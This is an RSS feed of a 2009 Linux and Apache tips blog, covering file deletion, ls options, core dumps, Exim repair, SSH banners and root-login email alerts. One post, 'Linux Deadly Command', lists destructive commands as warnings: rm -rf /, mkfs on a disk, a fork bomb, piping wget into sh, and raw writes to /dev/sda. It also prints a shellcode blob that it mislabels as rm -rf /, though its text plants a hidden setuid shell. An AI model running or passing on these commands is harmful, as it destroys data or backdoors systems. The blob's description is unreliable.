<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Apache, Linux ,Seo tricks and many more &#187; Linux</title>
	<atom:link href="http://www.gossiplime.com/tag/linux/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.gossiplime.com</link>
	<description>This blog is just for all persons to know more about php, apache , linux , seo etc</description>
	<lastBuildDate>Wed, 08 Jul 2009 16:40:40 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Remove / Delete  a Directory Linux Command</title>
		<link>http://www.gossiplime.com/2009/06/remove-delete-a-directory-linux-command/</link>
		<comments>http://www.gossiplime.com/2009/06/remove-delete-a-directory-linux-command/#comments</comments>
		<pubDate>Wed, 24 Jun 2009 15:50:02 +0000</pubDate>
		<dc:creator>sps</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[command]]></category>
		<category><![CDATA[delete]]></category>

		<guid isPermaLink="false">http://www.gossiplime.com/?p=326</guid>
		<description><![CDATA[Delete / Remove a Directory Linux Command Q. I am new to Linux and command line. How do I delete or remove a directory? A. Use rmdir command. This command remove the DIRECTORY(ies), if they are empty. For example, type the following command to remove /tmp/docs directory: $ rmdir /tmp/docs If directory is not empty [...]]]></description>
			<content:encoded><![CDATA[<div>
<h1>Delete / Remove a Directory Linux Command</h1>
</div>
<div style="float: right; margin-top: 0px; margin-left: 5px;"><a title="See all GNU/Linux related FAQ" href="http://www.cyberciti.biz/faq/category/linux/"><br />
</a></div>
<p><span style="color: #ff0000;">Q</span>. I am new to Linux and command line. How do I delete or remove a directory?</p>
<p><span style="color: #009900;">A</span>. Use rmdir command. This command remove the DIRECTORY(ies), if they are empty. For example, type the following command to remove /tmp/docs directory:</p>
<p><strong>$ rmdir /tmp/docs</strong><br />
If directory is not empty you will get an error:<br />
<code>$ rmdir letters</code><br />
Output:</p>
<pre>rmdir: letters: Directory not empty</pre>
<p>You can change directory to find out files:<br />
<code>$ cd letters<br />
$ ls</code></p>
<h2>Linux remove entire directory</h2>
<p>To remove all directories and subdirectories use rm command. For example remove letters and all subdirectories and files inside this directory, type the following command:<br />
<code>$ rm -rf letters/</code></p>
]]></content:encoded>
			<wfw:commentRss>http://www.gossiplime.com/2009/06/remove-delete-a-directory-linux-command/feed/</wfw:commentRss>
		<slash:comments>53</slash:comments>
		</item>
		<item>
		<title>How do I remove all empty directories?</title>
		<link>http://www.gossiplime.com/2009/06/how-do-i-remove-all-empty-directories/</link>
		<comments>http://www.gossiplime.com/2009/06/how-do-i-remove-all-empty-directories/#comments</comments>
		<pubDate>Wed, 24 Jun 2009 15:40:53 +0000</pubDate>
		<dc:creator>sps</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[commands]]></category>
		<category><![CDATA[delete]]></category>
		<category><![CDATA[script]]></category>

		<guid isPermaLink="false">http://www.gossiplime.com/?p=322</guid>
		<description><![CDATA[You can use program called cleanlinks. The cleanlinks program searches the directory tree descended from the current directory for symbolic links whose targets do not exist, and removes them. It then removes all empty directories in that directory tree. It was originally created for symbolic links based directories but works with normal directories too. For [...]]]></description>
			<content:encoded><![CDATA[<p>You can use program called cleanlinks. The cleanlinks program searches the directory tree descended from the current directory for symbolic links whose targets do not exist, and removes them. It then removes all empty directories in that directory tree. It was originally created for symbolic links based directories but works with normal directories too.</p>
<p>For example if you want to remove all empty directories from /tmp directory, type the command:</p>
<blockquote><p>$ cd /tmp<br />
$ cleanlinks</p></blockquote>
<p>Please note that cleanlinks command is part of XFree86 project. Another method is to use combination of shell commands in script:</p>
<blockquote><p>#/bin/bash<br />
DIR=&#8221;$1&#8243;<br />
[ -d $DIR ] &amp;&amp; [ $(ls -l $DIR | wc -l) -eq 1  ] &amp;&amp; rmdir $DIR ||  :</p></blockquote>
<p>Save and execute a script:</p>
<blockquote><p>$ script.sh dir1</p></blockquote>
<p>You can also try out tmpreaper command which recursively searches for and removes files and empty directories which haven&#8217;t been accessed for a given number of seconds. Normally, it&#8217;s used to clean up directories which are used for temporary holding space, such as &#8220;/tmp&#8221;. Syntax is as follows:<br />
<strong>tmpreaper TIME-FORMAT DIRS</strong></p>
<p>Where,</p>
<ul>
<li>TIME-FORMAT : Defines the age threshold for removing files. The TIME-FORMAT should be a number, defaulting to hours, optionally suffixed by one character: d for days, h for hours, m for minutes, or s for seconds.</li>
<li>DIRS : Directory name for example /tmp</li>
</ul>
<p>For example, remove all files accessed 24h before:</p>
<p># tmpreaper 24h /tmp</p>
<p>Please note that tmpreaper command is not installed by default you may need to install it using apt-get or rpm command.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gossiplime.com/2009/06/how-do-i-remove-all-empty-directories/feed/</wfw:commentRss>
		<slash:comments>23</slash:comments>
		</item>
		<item>
		<title>ls: command options</title>
		<link>http://www.gossiplime.com/2009/03/316/</link>
		<comments>http://www.gossiplime.com/2009/03/316/#comments</comments>
		<pubDate>Wed, 25 Mar 2009 01:02:28 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Apache]]></category>

		<guid isPermaLink="false">http://www.gossiplime.com/?p=316</guid>
		<description><![CDATA[ls: command options Option Action -a                  list hidden files -d                  list the name of the current directory -F                  show directories with a trailing &#8216;/&#8217; executable files with a trailing &#8216;*&#8217; -g                  show group ownership of file in long listing -i                  print the inode number of [...]]]></description>
			<content:encoded><![CDATA[<p><strong>ls: command options</strong></p>
<p><strong>Option</strong> <strong>Action</strong></p>
<p>-a                  list hidden files</p>
<p>-d                  list the name of the current directory</p>
<p>-F                  show directories with a trailing &#8216;/&#8217;<br />
executable files with a trailing &#8216;*&#8217;</p>
<p>-g                  show group ownership of file in long listing</p>
<p>-i                  print the inode number of each file</p>
<p>-l                  long listing giving details about files<br />
and directories</p>
<p>-R                  list all subdirectories encountered</p>
<p>-t                  sort by time modified instead of name</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gossiplime.com/2009/03/316/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>Stop Coredump file</title>
		<link>http://www.gossiplime.com/2009/03/stop-coredump-file/</link>
		<comments>http://www.gossiplime.com/2009/03/stop-coredump-file/#comments</comments>
		<pubDate>Mon, 23 Mar 2009 10:30:06 +0000</pubDate>
		<dc:creator>sps</dc:creator>
				<category><![CDATA[Apache]]></category>
		<category><![CDATA[apace]]></category>
		<category><![CDATA[coredump]]></category>
		<category><![CDATA[http]]></category>
		<category><![CDATA[httpd]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://www.gossiplime.com/?p=139</guid>
		<description><![CDATA[Many webmasters ask me how to stop core dump files in Apache.. Now today i will tell you how to stop core dump file in apache.  This is basically happens when System Crashes it makes a coredump file in the public_html Directory. The possible reason for the core files getting generated is when a php [...]]]></description>
			<content:encoded><![CDATA[<p>Many webmasters ask me how to stop core dump files in Apache.. Now today i will tell you how to stop core dump file in apache.  This is basically happens when System Crashes it makes a coredump file in the public_html Directory.</p>
<p>The possible reason for the core files getting generated is when a php process is killed, apache creates core files under your account .</p>
<p>On phpSuexec servers this may cause due to incorrect php.ini file placed in your account and if it is caused due to php/apache then you can get rid off those core files by editing the httpd startup file on the server end .</p>
<p>Lets start</p>
<div style="margin: 5px 20px 20px;">
<div class="smallfont" style="margin-bottom: 2px;">Code:</div>
<pre class="alt2" style="border: 1px inset; margin: 0px; padding: 6px; overflow: auto; width: 440px; height: 34px; text-align: left;" dir="ltr">root@server [~]# vi /etc/init.d/httpd</pre>
</div>
<p>Search for ulimit lines .For eg : you can see these lines</p>
<div style="margin: 5px 20px 20px;">
<div class="smallfont" style="margin-bottom: 2px;">Code:</div>
<pre class="alt2" style="border: 1px inset; margin: 0px; padding: 6px; overflow: auto; width: 440px; height: 82px; text-align: left;" dir="ltr">ulimit -n 1024
ulimit -n 4096
ulimit -n 8192
ulimit -n 16384</pre>
</div>
<p>You need to add ulimit -c 0 at the end .Which will look like :</p>
<div style="margin: 5px 20px 20px;">
<div class="smallfont" style="margin-bottom: 2px;">Code:</div>
<pre class="alt2" style="border: 1px inset; margin: 0px; padding: 6px; overflow: auto; width: 440px; height: 98px; text-align: left;" dir="ltr">ulimit -n 1024
ulimit -n 4096
ulimit -n 8192
ulimit -n 16384
ulimit -c 0</pre>
</div>
<p>root@server [~]# :wq</p>
<p>Save changes and quit.<br />
Now kill / stop apache service and then start apache service on the server .</p>
<div style="margin: 5px 20px 20px;">
<div class="smallfont" style="margin-bottom: 2px;">Code:</div>
<pre class="alt2" style="border: 1px inset; margin: 0px; padding: 6px; overflow: auto; width: 440px; height: 114px; text-align: left;" dir="ltr">root@server [~]# service httpd stop
root@server [~]# service httpd stop
httpd (no pid file) not running
root@server [~]# service httpd startssl
root@server [~]# service httpd startssl
httpd (pid 21154) already running</pre>
</div>
<p>Finished <img src='http://www.gossiplime.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>It works most of the OS.</p>
<p>Self tested on CENTOS 5.2 i686 on standard</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gossiplime.com/2009/03/stop-coredump-file/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Linux Deadly Command</title>
		<link>http://www.gossiplime.com/2009/03/linux-deadly-command/</link>
		<comments>http://www.gossiplime.com/2009/03/linux-deadly-command/#comments</comments>
		<pubDate>Tue, 03 Mar 2009 06:32:19 +0000</pubDate>
		<dc:creator>vinod</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[command]]></category>
		<category><![CDATA[deadly]]></category>

		<guid isPermaLink="false">http://www.gossiplime.com/?p=287</guid>
		<description><![CDATA[1. Code: CODE rm -rf / This command will recursively and forcefully delete all the files inside the root directory. 2. Code: CODE char esp[] __attribute__ ((section(&#8220;.text&#8221;))) /* e.s.p release */ = &#8220;\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68&#8243; &#8220;\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99&#8243; &#8220;\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7&#8243; &#8220;\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56&#8243; &#8220;\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31&#8243; &#8220;\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69&#8243; &#8220;\x6e\x2f\x73\x68\x00\x2d\x63\x00&#8243; &#8220;cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;&#8221;; This is the hex version of [rm -rf /] [...]]]></description>
			<content:encoded><![CDATA[<p>1. Code:<br />
<!--c1--></p>
<div class="codetop">CODE</div>
<div class="codemain"><!--ec1-->rm -rf /<!--c2--></div>
<p><!--ec2--></p>
<p><span>This command will recursively and forcefully <span class="IL_LINK_STYLE" style="font-weight: 400; font-size: 13px; color: #0000ff; font-style: normal; font-family: verdana,geneva,lucida,'lucida grande',arial,helvetica,sans-serif; text-decoration: underline;">delete all</span><span> the files inside the <span class="IL_LINK_STYLE" style="font-weight: 400; font-size: 13px; color: #0000ff; font-style: normal; font-family: verdana,geneva,lucida,'lucida grande',arial,helvetica,sans-serif; text-decoration: underline;">root directory</span>.</span></span></p>
<p>2. Code:<br />
<!--c1--></p>
<div class="codetop">CODE</div>
<div class="codemain"><!--ec1-->char esp[] __attribute__ ((section(&#8220;.text&#8221;))) /* e.s.p<br />
release */<br />
= &#8220;\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68&#8243;<br />
&#8220;\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99&#8243;<br />
&#8220;\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7&#8243;<br />
&#8220;\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56&#8243;<br />
&#8220;\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31&#8243;<br />
&#8220;\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69&#8243;<br />
&#8220;\x6e\x2f\x73\x68\x00\x2d\x63\x00&#8243;<br />
&#8220;cp -p /bin/sh /tmp/.beyond; chmod 4755<br />
/tmp/.beyond;&#8221;;<!--c2--></div>
<p><!--ec2--></p>
<p>This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.</p>
<p>3. Code:<br />
<!--c1--></p>
<div class="codetop">CODE</div>
<div class="codemain"><!--ec1-->mkfs.ext3 /dev/sda<!--c2--></div>
<p><!--ec2--></p>
<p>This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.</p>
<p>4. Code:<br />
<!--c1--></p>
<div class="codetop">CODE</div>
<div class="codemain"><!--ec1--> <img src='http://www.gossiplime.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> ){:|:&amp;};:<!--c2--></div>
<p><!--ec2--></p>
<p>Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.</p>
<p>5. Code:<br />
<!--c1--></p>
<div class="codetop">CODE</div>
<div class="codemain"><!--ec1-->any_command &gt; /dev/sda<!--c2--></div>
<p><!--ec2--><br />
With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.</p>
<p>6. Code:<br />
<!--c1--></p>
<div class="codetop">CODE</div>
<div class="codemain"><!--ec1-->wget http://some_untrusted_source -O- | sh<!--c2--></div>
<p><!--ec2--></p>
<p>Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.</p>
<p>7. Code:<br />
<!--c1--></p>
<div class="codetop">CODE</div>
<div class="codemain"><!--ec1-->mv /home/yourhomedirectory/* /dev/null<!--c2--></div>
<p><!--ec2--></p>
<p>This command will move all the files inside your home directory to a place that doesn&#8217;t exist; hence you will never ever see those files again.</p>
<p><span>There are of course other equally deadly <span class="IL_SPAN"><br />
<input name="IL_MARKER" type="hidden" />Linux commands</span> that I fail to include here, so if you have something to add, please share it with us via comment. </span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.gossiplime.com/2009/03/linux-deadly-command/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Exim Failed &#8211; Exim is not running</title>
		<link>http://www.gossiplime.com/2009/02/exim-failed-exim-is-not-running/</link>
		<comments>http://www.gossiplime.com/2009/02/exim-failed-exim-is-not-running/#comments</comments>
		<pubDate>Fri, 27 Feb 2009 08:00:34 +0000</pubDate>
		<dc:creator>sps</dc:creator>
				<category><![CDATA[Apache]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[cpanel]]></category>
		<category><![CDATA[exim]]></category>
		<category><![CDATA[mail]]></category>

		<guid isPermaLink="false">http://www.gossiplime.com/?p=277</guid>
		<description><![CDATA[A restart was attempted automagically. Service Check Method: [check command] Cmd Service Check Raw Output: Exim is not running This is a bug in Exim here are the steps how i fix this problem Hello friends you can doit by SSH I first ran: /scripts/eximup &#8211;force &#8211;source I then removed the old exim RPM, which [...]]]></description>
			<content:encoded><![CDATA[<p>A restart was attempted automagically.<br />
Service Check Method:  [check command]</p>
<p>Cmd Service Check Raw Output: Exim is not running</p>
<p>This is a bug in Exim<br />
here are the steps how i fix this problem</p>
<p> Hello friends<br />
you can doit by SSH<br />
 I first ran:</p>
<p> /scripts/eximup &#8211;force &#8211;source</p>
<p> I then removed the old exim RPM, which was preventing the correct one from</p>
<p> being updated.</p>
<p> I then ran:</p>
<p> /scripts/eximup &#8211;force</p>
<p> Exim is now up well.</p>
<p> Thank you. <img src='http://www.gossiplime.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.gossiplime.com/2009/02/exim-failed-exim-is-not-running/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Get an email When Google Crawls Your Site</title>
		<link>http://www.gossiplime.com/2009/02/get-an-email-when-google-crawls-your-site/</link>
		<comments>http://www.gossiplime.com/2009/02/get-an-email-when-google-crawls-your-site/#comments</comments>
		<pubDate>Wed, 25 Feb 2009 04:15:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Scripts]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://www.gossiplime.com/?p=271</guid>
		<description><![CDATA[Hi friends here is the php code to know whenever google crawl your website. it automatically sends you an email on your email id. &#60; ?php if ( strpos( $_SERVER['HTTP_USER_AGENT'], &#8216;Googlebot&#8217; ) !== false ) { // Your email address $email_address = &#8216;you@yourdomain.com&#8217;; // Send yourself an email mail($email_address,&#8217;Googlebot Alert&#8217;, &#8216;The Googlebot has visited your [...]]]></description>
			<content:encoded><![CDATA[<p>Hi friends here is the php code to know whenever google crawl your website.<br />
it automatically sends you an email on your email id.</p>
<p>&lt; ?php<br />
if ( strpos( $_SERVER['HTTP_USER_AGENT'], &#8216;Googlebot&#8217; ) !== false )<br />
{<br />
// Your email address<br />
$email_address = &#8216;you@yourdomain.com&#8217;;<br />
// Send yourself an email<br />
mail($email_address,&#8217;Googlebot Alert&#8217;, &#8216;The Googlebot has visited your page: &#8216;.$_SERVER['REQUEST_URI']);<br />
}<br />
?&gt;</p>
<p>If you have any query feel free to contact me</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gossiplime.com/2009/02/get-an-email-when-google-crawls-your-site/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Modify ssh Welcome message</title>
		<link>http://www.gossiplime.com/2009/02/modify-ssh-welcome-message/</link>
		<comments>http://www.gossiplime.com/2009/02/modify-ssh-welcome-message/#comments</comments>
		<pubDate>Mon, 09 Feb 2009 10:29:33 +0000</pubDate>
		<dc:creator>vinod</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[log]]></category>
		<category><![CDATA[putty]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[ssh]]></category>

		<guid isPermaLink="false">http://www.gossiplime.com/?p=262</guid>
		<description><![CDATA[Hi friends if you want to create a ssh login message for your server if any buddy login with ssh they will get a welcome message. Lets Start Login with root password pico /etc/motd You will get a welcome screen you can modify it anything you want to show to your users. who logged via [...]]]></description>
			<content:encoded><![CDATA[<p>Hi friends if you want to create a ssh login message for your server if any buddy login with ssh they will get a welcome message.<br />
Lets Start Login with root password</p>
<blockquote><p>pico /etc/motd</p></blockquote>
<p>You will get a welcome screen you can modify it anything you want to show to your users. who logged via ssh.  Write something like this<br />
This computerized system is designed for registered users. All activity is recorded and investigated by the individual system regularly. Those without power or more than their rights when using this system to cancel all its services are subject to. Any illegal services or the user of the server or attempt to withdraw their services in the conduct of local law enforcement to notify the user of law will be finalized and will be punished. Anyone using this system consents to these terms.</p>
<blockquote><p>Now type Ctrl+X then hit Y and enter</p></blockquote>
<p>now your welcome message is now saved</p>
<p>Logout of SSH then log back in, you&#8217;ll see your new greeting.. <img src='http://www.gossiplime.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.gossiplime.com/2009/02/modify-ssh-welcome-message/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Get Email when someone Login by root</title>
		<link>http://www.gossiplime.com/2009/02/get-email-when-someone-login-by-root/</link>
		<comments>http://www.gossiplime.com/2009/02/get-email-when-someone-login-by-root/#comments</comments>
		<pubDate>Mon, 09 Feb 2009 09:06:41 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Apache]]></category>
		<category><![CDATA[ssh]]></category>

		<guid isPermaLink="false">http://www.gossiplime.com/?p=256</guid>
		<description><![CDATA[Hi friends everybuddy wanted security about their webserver and updated everytime you can get an email when anybuddy login via root though ssh. To accomplish this you will need to edit the file .bash_profile. At command prompt type the below command: pico .bash_profile At the end of the file add following code: echo &#8216;ALERT &#8211; [...]]]></description>
			<content:encoded><![CDATA[<p>Hi friends everybuddy wanted security about their webserver and updated everytime<br />
you can get an email when anybuddy login via root though ssh.</p>
<p>To accomplish this you will need to edit the file .bash_profile.<br />
At command prompt type the below command:</p>
<blockquote><p>pico .bash_profile</p></blockquote>
<p>At the end of the file add following code:</p>
<blockquote><p>echo &#8216;ALERT &#8211; Root Access from:&#8217; `date` `who` | mail -s &#8220;Alert: Root Access from `who | awk &#8216;{print $6}&#8217;`&#8221; admin@gmail.com</p></blockquote>
<p>Replace this with your email &#8220;admin@gmail.com&#8221;</p>
<p>If  anybuddy login via ssh root  then you will recieve an email.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gossiplime.com/2009/02/get-email-when-someone-login-by-root/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>check ram size in Linux</title>
		<link>http://www.gossiplime.com/2009/02/check-ram-size-in-linux/</link>
		<comments>http://www.gossiplime.com/2009/02/check-ram-size-in-linux/#comments</comments>
		<pubDate>Tue, 03 Feb 2009 21:23:54 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[command]]></category>
		<category><![CDATA[memory]]></category>
		<category><![CDATA[ram]]></category>
		<category><![CDATA[top]]></category>

		<guid isPermaLink="false">http://www.gossiplime.com/?p=245</guid>
		<description><![CDATA[you can use this command to find the ram size in your linux machine free Mem is Ram size in bytes. Use -m option for output in MB. SWAP is the size of SWAP partition. free -m Looks like you&#8217;re using up a lot of memory. Top displays your memory usage a little better as [...]]]></description>
			<content:encoded><![CDATA[<p>you can use this command to find the ram size in your linux machine</p>
<blockquote><p>free</p></blockquote>
<p>Mem is Ram size in bytes. Use -m option for output in MB.<br />
SWAP is the size of SWAP partition.</p>
<blockquote><p>free -m</p></blockquote>
<p>Looks like you&#8217;re using up a lot of memory. Top displays your memory usage a little better as far as the &#8220;easy to read&#8221; factor goes.</p>
<blockquote><p>top</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.gossiplime.com/2009/02/check-ram-size-in-linux/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

